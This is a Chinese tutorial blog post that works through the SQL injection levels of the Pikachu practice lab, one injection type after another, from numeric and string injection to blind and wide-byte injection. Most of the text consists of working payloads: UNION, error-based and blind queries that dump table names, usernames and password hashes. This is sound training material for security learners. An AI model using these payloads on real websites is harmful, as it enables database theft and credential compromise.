這里是目錄
- sql注入
- 一、數字型注入
- 漏洞分析
- 漏洞利用
- 二、字符型注入
- 漏洞分析
- 漏洞利用
- 三、搜索型注入
- 漏洞分析
- 漏洞利用
- 四、xx型注入
- 漏洞分析
- 漏洞利用
- 五、insert/update 注入
- 漏洞分析
- 漏洞利用
- 六、delete注入
- 漏洞分析
- 漏洞利用
- 七、http頭注入
- 漏洞分析
- 漏洞利用
- 八、基于boolian的盲注
- 漏洞分析
- 漏洞利用
- 九、基于時間的盲注
- 漏洞分析
- 漏洞利用
- 十、wide byte注入(寬位元組)
- 漏洞分析
- 漏洞利用
n天更一次,但是是因為這幾天太忙了啊,一直東跑西跑,暴風哭泣
大家好,我是小城,一個剛剛起步的學渣,笨鳥先飛,可惜我領悟得太晚,但從現在開始,我會努力加油進取變強!
sql注入
在owasp發布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首當其沖的就是資料庫注入漏洞,
一個嚴重的SQL注入漏洞,可能會直接導致一家公司破產!
SQL注入漏洞主要形成的原因是在資料互動中,前端的資料傳入到后臺處理時,沒有做嚴格的判斷,導致其傳入的“資料”拼接到SQL陳述句中后,被當作SQL陳述句的一部分執行,
從而導致資料庫受損(被脫褲、被洗掉、甚至整個服務器權限淪陷),
在構建代碼時,一般會從如下幾個方面的策略來防止SQL注入漏洞:
1.對傳進SQL陳述句里面的變數進行過濾,不允許危險字符傳入;
2.使用引數化(Parameterized Query 或 Parameterized Statement);
3.還有就是,目前有很多ORM框架會自動使用引數化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!
一、數字型注入

經過一系列實驗分析,得出下列結果:
1. POST的請求方式, 與常規的GET方式不同(GET更容易受到攻擊)
2. 前端還通過下拉選單選擇的方式來查詢, 限制了用戶的輸入
漏洞分析
針對上面兩點特點, 依次分析:
第一, 由于是POST型的, 那么我們可以通過抓包來修改id值, 再post給服務器即可;
第二, 雖然前端限制了用戶的輸入, 但還是可以通過抓包來任意修改id的值,
再思考一下服務端怎么進行查詢操作:
用戶將id值post給服務器, 服務器接受到id值之后, 進行到資料庫查詢, 回傳id值對應的用戶名和郵箱
那么查詢陳述句可能是:
SELECT * FROM users WHERE id=$id; // 整數型
或者是
SELECT * FROM users WHERE id='$id'; // 字符型
漏洞利用
抓包,修改引數
分別輸入引數
1. 1 and 1 = 1
2. 1 and 1 = 2
發現輸入引數1的時候,頁面回傳正常;
輸入引數2的時候,發現查詢失敗, 注入的陳述句被執行了 (因為1=2為假, 又為and連接, 所以sql陳述句的where是不成立的)
綜上所述,可以確定該漏洞為整數型sql注入漏洞
既然已經知道了該漏洞的型別,那么可以來試試怎么來利用它,
首先若想要進行sql滲透,就先來判斷欄位到底是多少,
1 order by 2
為什么order by 2 ,是因為orber by 1的時候頁面顯示正常,order by 10的時候頁面錯誤,說明欄位是在1~10之間,用這個方法慢慢推斷欄位到底是多少,
得到了欄位,接下來可以用union聯合查詢陳述句查看當前使用的用戶、資料庫
1 union select user(),database()

爆到了資料庫之后,可以開始爆該資料庫下所有的表
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

爆出表之后,我們可以爆表中的列,以users表為例子
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

成功爆出列之后,我們就可以來爆值了,這里我們只爆用戶名和密碼就可以了吧
1 union select database(),group_concat(username,'~~~',password) from pikachu.users

成功爆出賬號密碼,密碼是md5加密,用md5解密即可知道密碼是123456
二、字符型注入

這次是GET型, 相對沒有POST型那么安全,
漏洞分析
由于本題是字串型注入,所以在查詢陳述句中需要有單引號,
猜測后臺的SQL查詢陳述句為:
SELECT * FROM users WHERE username='$username';
如果沒有對單引號進行過濾處理的話, 這樣的sql陳述句很容易被閉合繞過而加入新的惡意陳述句,
比如, 當username值為:kobe' and 1=1 #
這樣就很容易成功注入一句全真陳述句,
漏洞利用
其實整數型和字符型的查詢陳述句相差不大,只是字符型的陳述句多了單引號,所以只要構造payload閉合掉前面單引號和注射掉后面的單引號就可以成功注入,
跟上面的步驟一樣,我們需要獲取到該頁面的欄位
kobe' order by 2 #
為什么是2不再次解釋,
得到了欄位之后,我們可以來爆庫
kobe' union select user(),database()#

得到庫名為pikachu之后,我們可以來將其表名也給爆出來
kobe' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

爆出表名之后,爆列,選擇users
kobe' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

成功爆列之后,爆值,
kobe' union select database(),group_concat(username,'~',password) from pikachu.users#

三、搜索型注入

漏洞分析
本關是搜索型注入,常見是使用like進行查找搜索,資料庫的搜索陳述句一般是
select * from 表名 where username like '%$name%'
所以只需要閉合掉前面的 '% 和后面的 %‘ 即可成功注入
漏洞利用
首先我們還是得來判斷它的欄位
a%' order by 3#
然后獲取當前資料庫
a%' union select 1,user(),database()#

爆出資料庫接下來爆表名
a%' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

爆出表之后,爆列
a%' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

爆完列之后爆值
a%' union select 1,database(),group_concat(username,'~',password) from pikachu.users#

四、xx型注入

漏洞分析
所謂的XX型注入, 就是輸入的值可能被各種各樣的符合閉合 (比如, 單引號雙引號括號等)
我們先輸入常見的單引號

發現報錯了,觀察可推測出資料庫的查詢陳述句為
select * from users where username=('$name');
漏洞利用
還是一樣的步驟,先獲取當前頁面的欄位
kobe') order by 2#
然后爆庫
kobe') union select user(),database()#

得到庫之后爆表
kobe') union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到表之后,開始爆列
kobe') union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

然后爆欄位
kobe') union select database(),group_concat(username,'~',password) from pikachu.users#

五、insert/update 注入

這關需要注冊賬號
漏洞分析
產生insert/update注入, 是因為在用戶注冊和更新資訊的時候存在注入點
這里先分析insert注入
insert注入存在于用戶注冊時候的程序, 當用戶注冊新資訊并提交服務器的時候, 服務端采用insert來將資訊插入資料庫
由此得知sql陳述句可能為:
insert into users(username,password) values($username,$password);
當update時, 也是如此:
update users set username=$username,password=$password where username=$username;
漏洞利用
已經推測到資料庫查詢語法,接下來可以一把梭,
首先先來到注冊點,尋找功能點,我們可以在賬號處加個單引號看看,

submit一下

可以看到資料庫查詢陳述句的報錯,此時可以根據報錯提示的資訊更新下insert的查詢語法:
insert into users(username,password) values('$username','$password');
已經可以確定注入點,接下來我們使用extractvalue() 來進行報錯注入:
EXTRACTVALUE (XML_document, XPath_string);
第一個引數:XML_document是String格式,為XML檔案物件的名稱
第二個引數:XPath_string (Xpath格式的字串).
作用:從目標XML中回傳包含所查詢值的字串
能夠用于注入是因為,當xpath不符合語法時,該陳述句會報錯 XPATH syntax error : (注入資訊), 故可以將待查詢的資訊放入xpath中,通過報錯回顯出來,
構造payload
rookie' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
成功爆庫之后爆表
rookie' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '

爆表之后爆列
rookie' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) or '
爆完列之后爆欄位
rookie' or extractvalue(1, concat(0x7e,(select group_concat(username,'~',password) from pikachu.users),0x7e)) or '
update注入也同理,不再多演示,
六、delete注入
漏洞分析
delete其實跟 insert/update 注入,都是利用報錯進行注入,
發現在刪掉留言的時候抓包,能夠將該留言的id給抓取下來,
那么我們就可以做到半路攔截這個id,然后利用這個id作一個報錯注入,
漏洞利用

截取到資料包,在id處進行注入
and extractvalue(1, concat(0x7e,(select database()),0x7e))

成功執行,接下來的步驟跟上一部分一樣,不多加贅述,
七、http頭注入
一般獲取頭部的資訊用于資料分析,但是通過請求頭部也可以向資料庫發送查詢資訊,通過構造惡意陳述句可以對資料庫進行資訊查詢,
漏洞分析
輸入賬號密碼登入之后,點擊退出的同時抓取包,將User-Agent和Accept隨便換成一個值,并在后面加上單引號

發現資料庫能夠有報錯回顯,上面截圖因為都是6+單引號,所以分不清到底是User-Agent和Accep哪個可以注入,還是都可以,
但經過后續實驗,推出只有Accep可以進行注入,于是一把梭
漏洞利用
在Accep處進行注入
' or updatexml(1, concat(0x7e, database()), 0) or '

爆完庫之后報表,步驟跟上面的一樣,不多贅述,
八、基于boolian的盲注
在有些情況下,后臺使用了錯誤屏蔽方法屏蔽了報錯, 此時無法根據報錯資訊來進行注入的判斷這種情況下的注入,稱為“盲注”
也就是說, 我們只能通過頁面是否正確來判斷注入的SQL陳述句是否被成功執行, 事實上, 現在很多網站也都是盲注型別,
漏洞分析
這邊我們知道, 用戶名肯定是字符型, 所以注入型別也肯定是字符型
輸入payload:
kobe' and 1 = 1 # 頁面正常
kobe' and 1 = 2 # 頁面錯誤
證明存在注入點
漏洞利用
在布爾盲注的程序中, 使用到二分法和一些mysql的函式, 比如mid(), ascii(), length()等等
比如, 假如我們要爆資料庫名, 得先知道資料庫的長度, 然后再一個個地去爆資料庫名的每個字符,
為什么要采取這么麻煩的方式呢?因為頁面不存在報錯, 無法直接通過報錯+聯合查詢注入得知, 所以只能一點點通過頁面是否正確來判斷,
爆資料庫長度
kobe' and length(database())>10 # ==> 頁面錯誤
kobe' and length(database())>5 # ==> 頁面正確
kobe' and length(database())>8 # ==> 頁面錯誤
kobe' and length(database())>6 # ==> 頁面正確
kobe' and length(database())=7 # ==> 頁面正確
推出資料庫長度為7
爆資料庫的每一位字符
第一個字符:
kobe' and ascii(mid(database(),1,1))>115 # ==> 頁面錯誤
kobe' and ascii(mid(database(),1,1))>110 # ==> 頁面正確
kobe' and ascii(mid(database(),1,1))>112 # ==> 頁面錯誤
kobe' and ascii(mid(database(),1,1))=112 # ==> 頁面正確
推出第一個字符的ascii碼為112,對應字符為p,
依次爆字符,推出資料庫的名字為pikachu,
爆資料庫的所有表個數
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ==> 頁面錯誤
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 # ==> 頁面正確
推出有七個表之后,開始爆表名
先爆第一個表的長度:
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 # ==> 頁面正確
說明存在著八位字符,那么先來爆第一個字符
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # ==> 頁面正確
得到第一表的第一字符為h, 然后依次得到第一個表為httpinfo
爆指定表的欄位個數
假如我們現在要爆users表的欄位個數:
kobe' and (select count(column_name) from information_schema.columns where
table_schema=database() and table_name='users')=4 # 頁面回傳正常
由此可知欄位個數為4
接著爆第一個欄位的長度:
kobe' and length((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1))=2 # 頁面回傳正常
以此類推 ,然后爆第一個字符
kobe' and ascii(mid((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),1,1))=105 #
得出ascii碼為105,對應i,用這個思路逐步爆破
九、基于時間的盲注
跟布爾盲注基本上大同小異,但是是利用了sleep這個函式,如果成功執行了,就延時xxxx秒
漏洞分析

本題不管你輸入什么,都是一樣的回顯,這就是經典的延時注入,開搞
漏洞利用
kobe' and sleep(5)#

可以清楚地看到,的的確確延時了5秒,說明存在該漏洞,
獲取資料庫的長度
kobe' and sleep(if(length(database())>7,0,3)) # ==> 延時
kobe' and sleep(if(length(database())=7,0,3)) # ==> 不延時
說明資料庫長度為7,
接下來的payload跟布爾盲注的差不多,不多加演示,感興趣的童鞋可以自己探討鉆研,
十、wide byte注入(寬位元組)
漏洞分析
GBK 占用兩位元組
ASCII占用一位元組
PHP中編碼為GBK,函式執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬位元組字符集,
大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程式的默認字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了,
漏洞利用
構造payload過濾掉他的轉義
kobe%df' or 1=1#

發現輸入的引數不成功,深入研究發現,這玩意還是個post型別傳輸!~
不打緊不打緊,咱就搞個bp抓抓包懟他就好了,


成功懟進去了,先報表爆庫什么的,可以參考上面的資訊
感謝各位看官老爺的觀看,點個關注不迷路,不行咱整個贊也行,下期再會!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/238013.html
標籤:其他
